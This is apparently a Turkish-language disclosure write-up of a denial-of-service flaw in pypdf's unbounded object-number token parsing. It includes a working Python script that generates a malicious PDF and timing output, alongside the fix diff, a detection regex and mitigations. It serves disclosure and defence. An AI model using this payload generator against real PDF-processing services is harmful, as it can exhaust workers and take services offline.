İfşa: CVE-2026-102994 (CWE-400, CWE-407), 6.18.0 öncesi
pypdfsürümlerini etkiler. Zafiyetijankesecolarak bakımcılara bildirdim. 6.18.0 sürümünde PR #4055 ile düzeltildi ve GHSA-5jq2-8x83-x246 olarak yayımlandı. GitHub zafiyeti CVSS 4.0 8.7 (Yüksek) olarak puanladı:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Çok uzun bir nesne numarası veya jenerasyon numarası içeren ve araya hiç boşluk girmeyen bir PDF, pypdf kütüphanesinin bu token’ı sonuna kadar okumasına neden olur. 6.18.0 öncesinde token uzunluğunu sınırlayan hiçbir mekanizma yoktu; bu yüzden tek bir dosya, ayrıştırma yapan bir işçiyi uzun süre meşgul edip ciddi miktarda bellek tüketebiliyordu. Saldırganın bir hesaba veya kullanıcı etkileşimine ihtiyacı yoktur; tek gereken, PDF’yi pypdf ile açan bir koda ulaştırabilmesidir. Yükleme uç noktası, özgeçmiş ayrıştırıcı veya RAG veri alım işi bunun tipik örnekleridir. Bu senaryoların ortak noktası, dosyanın içeriğine değil yalnızca varlığına güvenilmesidir: kullanıcı bir PDF yüklediğinde arka uç onu ayrıştırmayı dener ve ayrıştırma maliyeti doğrudan saldırganın biçimlendirdiği baytlara bağlıdır. Bu yüzden savunma, yalnızca dosya boyutunu sınırlamakla değil, tek tek token’ların uzunluğunu da sınırlamakla kurulmalıdır.
Kök neden: uzunluk sınırı olmayan token okuyucuları
PDF içindeki nesne numaraları ve jenerasyon numaraları kısa ondalık tam sayılardır. 6.17.0 sürümünde bu değerler, bir sonraki boşluk baytına kadar çalışan üç ayrı döngüyle okunuyordu ve hiçbiri bir üst uzunluk sınırı belirlemiyordu:
read_object_header()bir nesnenin önündekiN G objsatırını okur.IndirectObject.read_from_stream()bir nesnenin içindekiN G Rreferansını okur._rebuild_xref_table()bir nesne akışının başlığını okur.
read_until_whitespace() fonksiyonunda zaten bir max_bytes parametresi vardı; ancak varsayılan değeri sınırsızdı ve hiçbir çağıran bu parametreyi geçmiyordu:
def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
txt = bytearray()
while True:
tok = stream.read(1)
if tok.isspace() or not tok:
break
txt += tok
if len(txt) == max_bytes:
break
return bytes(txt)
IndirectObject.read_from_stream() bu yardımcıyı kullanmıyordu. Her parçayı bir bytes nesnesi üzerinde += ile oluşturuyordu:
@staticmethod
def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject": # PdfReader
idnum = b""
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace():
break
idnum += tok
generation = b""
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace():
if not generation:
continue
break
generation += tok
bytes değişmez (immutable) olduğu için her idnum += tok işlemi yeni bir nesne ayırır ve o ana kadar okunan her şeyi kopyalar. Bu döngüdeki iş yükü, token uzunluğunun karesiyle büyür; dosya sonuna ulaşmadan döngüyü durduracak hiçbir şey de yoktur. Sonuç, saldırganın tamamen kontrol ettiği bir maliyet eşiğidir: 500 KB’lık bir token bile tek bir çekirdeği onlarca saniye boyunca doyurur. Karesel büyüme, saldırganın dosya boyutunu iki katına çıkardığında iş yükünü dört katına çıkarması anlamına gelir; bu da küçük görünen yüklerin bile kısa sürede işçi havuzunu tüketmesini açıklar. Bu yüzden zafiyet yalnızca “yavaş ayrıştırma” değil, doğrudan bir hizmet dışı bırakma (DoS) aracıdır.
Kanıt matrisi
| Kanıt | Neyi gösteriyor | Sonuç |
|---|---|---|
| GHSA-5jq2-8x83-x246 | GitHub’ın CNA olarak yayımladığı güvenlik bildirisi | CWE-400 ve CWE-407. < 6.18.0 etkileniyor, 6.18.0 düzeltildi. CVSS 4.0 8.7 (Yüksek). |
Düzeltme PR #4055 (82501d2) | Nesne numaraları, jenerasyon numaraları ve nesne akışı başlıkları için 64 baytlık sınır | 2026-09-07 tarihinde birleştirildi |
PyPI üzerindeki pypdf 6.18.0 | Düzeltmeyi içeren sürüm | 2026-09-07 tarihinde yüklendi |
6.17.0 üzerinde ölçüm | PdfReader üzerinden 500.000 haneli token | Tek çekirdek %100 yükteyken 28,74 sn (kendi çalıştırmam, çıktı aşağıda) |
6.18.0 üzerindeki davranış | PR’da eklenen testler | 64 baytlık parçalar geçer. 65 baytlık parça, çağrı noktasına ve strict değerine göre PdfReadError veya LimitReachedError fırlatır. |
Yeniden üretim
Aşağıdaki üretici, sayfa ağacı 500.000 haneli ve boşluksuz bir numaraya sahip bir nesneye referans veren asgari bir PDF oluşturur; ardından PdfReader üzerinde süre ölçer:
#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys
def build_malicious_pdf(token_length: int = 500_000) -> bytes:
"""
Constructs a minimal valid PDF containing an oversized indirect object token
without whitespace separators.
"""
header = b"%PDF-1.4\n"
# Construct an excessively long numeric indirect object token
oversized_token = b"9" * token_length
# Place the oversized token directly into the object hierarchy
body = (
b"1 0 obj\n"
b"<< /Type /Catalog /Pages 2 0 R >>\n"
b"endobj\n"
b"2 0 obj\n"
b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
b"endobj\n"
)
xref_offset = len(header) + len(body)
xref = (
b"xref\n"
b"0 3\n"
b"0000000000 65535 f \n"
b"0000000009 00000 n \n"
b"0000000068 00000 n \n"
b"trailer\n"
b"<< /Size 3 /Root 1 0 R >>\n"
b"startxref\n"
+ str(xref_offset).encode("ascii") + b"\n"
b"%%EOF\n"
)
return header + body + xref
def evaluate_parser(pdf_bytes: bytes):
try:
import pypdf
print(f"[*] Testing with pypdf version: {pypdf.__version__}")
except ImportError:
print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
return
print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
print("[*] Initiating PdfReader stream ingestion...")
stream = io.BytesIO(pdf_bytes)
start_time = time.perf_counter()
try:
reader = pypdf.PdfReader(stream)
# Force resolution of page references
_ = len(reader.pages)
elapsed = time.perf_counter() - start_time
print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
except Exception as e:
elapsed = time.perf_counter() - start_time
print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")
if __name__ == "__main__":
token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
pdf_data = build_malicious_pdf(token_len)
evaluate_parser(pdf_data)
8 çekirdekli bir Linux iş istasyonunda pypdf==6.17.0 sürümüne karşı çalıştırıldığında:
$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.
500 KB’lık bir token, tek bir çekirdeği 28,7 saniye boyunca %100 yükte tuttu. 2.000.000 baytlık bir token ise 120 saniyeden fazla sürdü. Dört eşzamanlı işçisi olan bir servis, bu tür dört yüklemeden sonra boş işçi bırakmaz. Ölçümün pratik anlamı şudur: tek bir istek, normalde saniyeler içinde yanıt veren bir servisi dakikalarca askıda bırakabilir; saldırganın kimlik doğrulaması aşması veya özel bir araç kullanması gerekmez.
Düzeltme
PR #4055 (commit 82501d2, 6.18.0 olarak yayımlandı) IndirectObject._MAXIMUM_PART_LENGTH = 64 değerini tanımlar ve bunu üç okuyucunun her birine geçirir. read_object_header() ve _rebuild_xref_table() read_until_whitespace() fonksiyonunu max_bytes ve strict ile çağırır. Yardımcı artık sınırda durur. strict modda LimitReachedError fırlatır; aksi halde uyarı kaydeder ve ilk 64 baytı döndürür. Böylece sınır, okuma maliyetini ve bellek ayırma davranışını aynı anda kontrol altına alır. Aşağıdaki diff, docstring hunisini atlar:
--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
"""
Read non-whitespace characters and return them.
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
txt = bytearray()
while True:
tok = stream.read(1)
- if tok.isspace() or not tok:
+ if tok.isspace() or tok in WHITESPACES or not tok:
break
- txt += tok
- if len(txt) == max_bytes:
+ if max_bytes is not None and len(txt) >= max_bytes:
+ if strict:
+ raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+ logger_warning(
+ "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+ )
break
+ txt += tok
return bytes(txt)
IndirectObject.read_from_stream() ise, bir parça sınırı aştığında PdfReadError fırlatan sınırlı bir bytearray döngüsüyle yeniden yazılmıştır:
@staticmethod
def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject": # PdfReader
def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
result = bytearray()
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace() or tok in WHITESPACES:
if skip_leading_whitespace and not result:
continue
break
if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
result += tok
return bytes(result)
idnum = read_part("Object ID", skip_leading_whitespace=False)
generation = read_part("Generation number", skip_leading_whitespace=True)
r = read_non_whitespace(stream)
if r != b"R":
raise PdfReadError(
f"Error reading indirect object reference at byte {hex(stream.tell())}"
)
try:
return IndirectObject(int(idnum), int(generation), pdf)
except (ValueError, OverflowError) as e:
raise PdfReadError(
f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
) from e
Algoritmik karmaşıklık ve karesel bellek kopyalama
İşlemcinin uzun süre kilitlenmesinin kök nedeni karesel bellek yeniden tahsisidir. Python’da bytes nesneleri değişmezdir (immutable). IndirectObject.read_from_stream() fonksiyonundaki belirteç okuma döngüsü sürekli ekleme yapıyordu:
idnum += tok # tok: stream.read(1)
Her (k) yinelemesinde CPython (k) uzunluğunda yeni bir bytes tamponu tahsis eder ve biriken parçayı aktarmak için memcpy çağırır. (N) uzunluğundaki bir belirteç boyunca kopyalanan toplam bayt miktarı şu formülle hesaplanır:
$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$
500.000 basamaklı bir belirteç için ((N = 5 \times 10^5)) yorumlayıcı, bellek yöneticisi üzerinden yaklaşık 125 gigabaytlık geçici bellek tamponu kopyalar. Bu durum L1/L2 işlemci önbelleklerini tüketir ve tek iş parçacıklı ayrıştırıcı döngüsünün neredeyse 30 saniye boyunca %100 yükte kilitlenmesine neden olur.
Tespit mühendisliği ve telemetri
Uygulama yöneticileri sınırsız belirteç tarama saldırılarını işçi telemetrisi, ön denetim başlık taraması ve kaynak kum havuzları ile tespit edip engelleyebilir.
1. Uygulama sunucusu işçi zaman aşımı telemetrisi
Senkron WSGI/ASGI sunucuları (Gunicorn veya uWSGI gibi), belirlenen zaman aşımı süresini aşan işçileri sonlandırır. Sunucu hata günlüklerinde ardışık işçi yeniden başlatmalarını izleyin:
[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830
Dosya yükleme uç noktalarıyla ilişkili işçi zaman aşımı olaylarındaki ani artış, aktif bir kaynak tüketimi saldırısını gösterir.
2. Belirteç sınırı için ön denetim
Yüksek hacimli belge işleme hatlarında (örneğin özgeçmiş tarayıcılar, evrak OCR sistemleri), hafif bir akış ön denetimi anormal uzunluktaki tamsayı belirteçlerini pypdf kütüphanesine ulaşmadan engelleyebilir:
import re
# Standart PDF dolaylı nesne numaraları nadiren 7 basamağı aşar (maksimum 2.147.483.647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")
def validate_pdf_stream(raw_bytes: bytes) -> bool:
"""Aşırı büyük sayısal belirteç içeren PDF akışlarını reddeder."""
if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
return False
return True
3. Konteyner ve işçi izolasyonu
Güvenilmeyen PDF belgelerini ana web sürecinde doğrudan ayrıştırmayın. Ayrıştırma işlemini katı kaynak limitlerine sahip bağımsız bir iş parçacığına veya geçici bir konteynere aktarın:
# systemd birimi veya cgroup kaynak sınırı
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s
Python içinde, ayrıştırma çağrılarını concurrent.futures ile duvar saati zaman aşımına bağlayın:
from concurrent.futures import ProcessPoolExecutor, TimeoutError
def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
with ProcessPoolExecutor(max_workers=1) as executor:
future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
try:
return future.result(timeout=timeout_sec)
except TimeoutError:
raise ValueError("PDF ayrıştırma zaman aşımına uğradı: potansiyel algoritmik karmaşıklık yükü")
ATT&CK teknik eşleşmesi
| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
|---|---|---|---|---|
| Impact | T1499.004 | Endpoint DoS: Application Exhaustion | Özel hazırlanmış 500 KB nesne belirteci (O(N^2)) kopyalamayı zorlayarak CPU çekirdeğini %100’e kilitler. | Sözcüksel analizde 64 baytlık belirteç sınırı uygula; aşanları reddet. |
| Impact | T1499.003 | Operating System Exhaustion | Karesel yüklerin eşzamanlı yüklenmesi mevcut tüm işçi süreçlerini tüketir. | Süreç zaman aşımları ve konteyner CPU kotaları belirle. |
| Initial Access | T1190 | Exploit Public-Facing Application | Kimlik doğrulamasız PDF işleyen genel yükleme noktası iş parçacığı kilitlenmesine yol açar. | Ön denetim regex filtreleri uygula; ayrıştırmayı arka plan kuyruğuna al. |
Çıkarımlar
Aşağıdaki maddeler, bu zafiyetten çıkan ve benzer ayrıştırıcılara da uygulanabilecek doğrudan dersleri özetler.
- Bir ayırıcıya kadar okuyan her döngüye bir üst sınır koyun. PDF nesne numarası kısa bir tam sayıdır; dolayısıyla 64 bayt oldukça cömert bir sınırdır.
- Güvenilmeyen belgeleri, duvar saati zaman aşımı olan ayrı bir süreçte ayrıştırın; böylece tek bir yavaş dosya web işçisini elinde tutamaz. Celery’nin
task_time_limitayarı vesubprocess.run(..., timeout=...)çağrısı bunu sağlar. Ek olarak cgroups ile bir bellek üst sınırı koyun. - Döngü içinde
+=ilebytesoluşturmayın. Bunun yerinebytearrayveyab"".join()kullanın. Düzeltme,idnum += tokifadesinibytearrayile değiştirir. pypdf6.18.0 veya daha yeni bir sürüme yükseltin. Yükseltemiyorsanız güvenlik bildirisi, PR #4055’teki değişikliklerin uygulanmasını önerir.
Zafiyet Puanlaması & CVSS Vektör Analizi
GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NKoordineli İfşa ve Düzeltme Zaman Çizelgesi
CVE-2026-102994 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.
Maintainers merged the change that limits the length of indirect object tokens (PR #4055).
Kaynak / Taahhüt ↗GitHub, as CNA, published the CVE record and advisory GHSA-5jq2-8x83-x246.
Kaynak / Taahhüt ↗jankesec checked the CVE record, score, affected versions, and references.
Bu analiz için kullanılan kanıtlar
Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.
Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.
